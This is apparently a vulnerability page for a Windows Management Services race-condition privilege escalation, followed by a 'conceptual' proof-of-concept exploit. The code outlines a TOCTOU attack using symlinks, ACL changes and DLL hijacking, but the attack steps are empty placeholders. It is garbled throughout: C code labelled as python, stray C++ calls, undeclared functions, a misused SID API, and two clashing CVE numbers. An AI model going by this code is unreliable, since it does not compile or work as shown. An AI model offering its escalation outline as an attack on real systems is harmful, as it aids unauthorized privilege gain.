Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Management Services allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
// CVE-2026-20267 PoC - Race Condition in Windows Management Services
// This is a conceptual PoC demonstrating the race condition exploitation approach
// Note: Actual exploitation requires significant debugging and environment adaptation
#include <windows.h>
#include <stdio.h>
#include <threads.h>
#define ITERATION_COUNT 10000
#define WINDOW_MS 50
// Target service handle (to be identified via debugging)
HANDLE g_hService = NULL;
// Thread-safe counter for race condition attempts
volatile LONG g_attemptCount = 0;
volatile LONG g_successCount = 0;
// Function to trigger Windows Management Service operation
void TriggerWMSOperation() {
// Placeholder for actual WMS operation trigger
// This would involve calling specific WMI methods or service APIs
// that are vulnerable to race conditions
// Example: Calling a privileged WMI method
// IWbemServices* pSvc = NULL;
// pSvc->ExecMethod(...);
InterlockedIncrement(&g_attemptCount);
}
// Thread function for race condition exploitation
int RaceThread(void* arg) {
while (g_attemptCount < ITERATION_COUNT) {
// Create a window for race condition
// Step 1: Prepare the race condition trigger
PrepareRaceCondition();
// Step 2: Trigger the vulnerable operation
TriggerWMSOperation();
// Step 3: Exploit the TOCTOU window
ExploitTOCTOUWindow();
// Small delay to synchronize threads
std::this_thread::sleep_for(std::chrono::microseconds(1));
}
return 0;
}
// Preparation phase for race condition
void PrepareRaceCondition() {
// Set up symbolic link or modify ACL during the check phase
// This creates the condition for privilege escalation
// Example actions:
// - Create symlink to privileged resource
// - Modify file/directory permissions
// - Prepare malicious DLL for DLL hijacking
}
// Exploitation phase during the use window
void ExploitTOCTOUWindow() {
// Modify the resource after check but before use
// This is the critical time window exploitation
// If successful, privilege escalation occurs
if (CheckPrivilegeEscalation()) {
InterlockedIncrement(&g_successCount);
printf("[!] Race condition successful! Privilege escalation detected.\n");
}
}
BOOL CheckPrivilegeEscalation() {
// Check if current process has SYSTEM privileges
HANDLE hToken = NULL;
TOKEN_USER* pTokenUser = NULL;
DWORD dwReturnLength = 0;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwReturnLength);
pTokenUser = (TOKEN_USER*)malloc(dwReturnLength);
if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength)) {
// Check if user is SYSTEM or has elevated privileges
// SID comparison with well-known SYSTEM SID
BOOL isSystem = EqualSid(pTokenUser->User.Sid,
CreateWellKnownSid(WinLocalSystemSid));
free(pTokenUser);
CloseHandle(hToken);
return isSystem;
}
free(pTokenUser);
CloseHandle(hToken);
}
return FALSE;
}
int main() {
printf("CVE-2026-20867 Race Condition PoC\n");
printf("Target: Windows Management Services\n\n");
// Create multiple threads to increase race condition probability
const int NUM_THREADS = 4;
thrd_t threads[NUM_THREADS];
for (int i = 0; i < NUM_THREADS; i++) {
thrd_create(&threads[i], RaceThread, NULL);
}
// Wait for threads to complete
for (int i = 0; i < NUM_THREADS; i++) {
thrd_join(threads[i], NULL);
}
printf("\nResults:\n");
printf("Total attempts: %ld\n", g_attemptCount);
printf("Successful exploits: %ld\n", g_successCount);
printf("Success rate: %.2f%%\n",
(double)g_successCount / g_attemptCount * 100);
return 0;
}